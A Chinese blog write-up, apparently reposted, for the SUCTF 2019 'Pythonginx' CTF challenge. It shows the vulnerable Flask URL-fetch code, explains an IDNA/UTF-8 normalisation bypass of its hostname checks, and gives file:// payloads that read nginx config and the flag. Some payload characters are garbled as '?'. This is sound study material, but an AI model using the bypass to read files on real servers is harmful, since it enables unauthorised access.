日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

web buuctf [SUCTF 2019]Pythonginx1

發布時間:2023/12/20 python 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 web buuctf [SUCTF 2019]Pythonginx1 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

知識點:1.nignx

? ? ? ? ? ? ? 2.idna編碼與utf-8編碼的漏洞

1.開題

?查看源碼,整理代碼:

@app.route('/getUrl', methods=['GET', 'POST']) def getUrl():url = request.args.get("url")host = parse.urlparse(url).hostname//經過urlparse解析所得hostname不能為suctf.ccif host == 'suctf.cc':return "我扌 your problem? 111"//urlsplit解析后hostname不能為suctf.ccparts = list(urlsplit(url))host = parts[1]if host == 'suctf.cc':return "我扌 your problem? 222 " + hostnewhost = []for h in host.split('.'):newhost.append(h.encode('idna').decode('utf-8'))parts[1] = '.'.join(newhost)#去掉 url 中的空格finalUrl = urlunsplit(parts).split(' ')[0]host = parse.urlparse(finalUrl).hostnameif host == 'suctf.cc':return urllib.request.urlopen(finalUrl).read()else:return "我扌 your problem? 333"

2.代碼審計,需要繞過兩個if語句

finalurl應該是文件的形式file://

發現里面有idna編碼到Utf-8編碼的轉換,這兩個編碼形式的轉換是存在漏洞的

idna是國際化域名

idna與utf-8編碼漏洞 - Hanamizuki花水木 - 博客園

?這個字符,如果使用python3進行idna編碼的話
print('?'.encode('idna'))
結果
b'c/u'
如果再使用utf-8進行解碼的話
print(b'c/u'.decode('utf-8'))
結果
c/u
通過這種方法可以繞過網站的一些過濾字符

3.找到flag的位置,根據提示,用的是nignx服務器,我從別人的wp那里復制一下常用的文件儲存地址,方便記憶

配置文件存放目錄:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理腳本:/usr/lib64/systemd/system/nginx.service
模塊:/usr/lisb64/nginx/modules
應用程序:/usr/sbin/nginx
程序默認存放位置:/usr/share/nginx/html
日志默認存放位置:/var/log/nginx
配置文件目錄為:/usr/local/nginx/conf/nginx.conf

于是我們可以構造payload:

/getUrl?url=file://suctf.c?sr/local/nginx/conf/nginx.conf

?getUrl?url=file://suctf.c?sr/fffffflag

得到flag{62903ed4-53f9-4ebd-b13a-136082b2610e}

?

總結

以上是生活随笔為你收集整理的web buuctf [SUCTF 2019]Pythonginx1的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。